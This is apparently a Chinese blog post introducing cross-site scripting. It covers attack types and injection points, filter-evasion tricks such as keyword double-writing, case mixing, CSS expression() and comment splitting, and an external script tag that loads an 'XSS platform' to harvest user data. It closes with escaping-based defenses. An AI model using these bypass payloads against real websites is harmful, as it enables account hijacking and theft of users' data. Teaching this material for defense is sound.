浅谈xss
什么是xss
xss通常就是通过巧妙的方法注入(前端脚本)指令到指定页面,使用户加载执行的恶意的js(或者其他类型)代码,攻击者可能会盗取用户的一系列信息,造成网站的破坏,跳转到其他恶意页面等
xss的危害;
钓鱼欺骗
网站挂马
身份盗用
盗取网站用户信息
垃圾信息发送
劫持用户web行为
xss蠕虫
xss的分类:
反射型:需要构造一个链接来诱使用户点击恶意连接,
存储型:将恶意的xss代码存储到数据库中,只要用户访问了含有指定xss恶意代码的网页,浏览器就会执行xss中的而已代码,从而使在不知情的情况下执行一系列的恶意操作
Dom型:通过闭合标签或者添加标签的属性(制作js响应事件)的方式来进行攻击
xss注入的方式:
<script>标签注入:直接script标签进行xss的注入,
js事件注入:“ onclick=alert(1)
行内样式注入:style="color: expression(alert('XSS'))" & herf="javascript:alert(1)"
外部样式导入:<style>@import(URL)</style> & <style>@import'javascript:alert(1)'</style>
xss注入的绕过方法:
关键字双写:<scrip<script>t>
使用Unicode编码绕过:<scąipt>
关键字大小写绕过:<scRIpt>
内联属性绕过:" onclick=alert(1)
空格绕过:当关键字被屏蔽或者过滤的时候,可以使用空格分隔关键字尝试绕过
expression+css绕过:style="color: expression(alert(1))"
使用注释/**/绕过:关键字被屏蔽的时候,尝试中间加上js注释绕过关键字过滤
配合xss平台获取用户信息:
通过xss平台获取用户信息
<script src="URL"></script>
反射性xss的利用条件:用户处于登录状态,并且诱使用户点击恶意连接到目标网站的
xss的防御:
1.用户输入的长度限制
2.xss的防御最重要的一点,也就一点就足够了,就是将用户输入的所有字符都转义为html实体(< ---<)显示,因为xss注入不管是标签注入还是属性注入,都需要<或者引号的支持,和防御sql注入一样,将本次所有的输入替换成value的值就可以
防御代码:将用户用户输入的所有参数转换为HTML实体即可
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】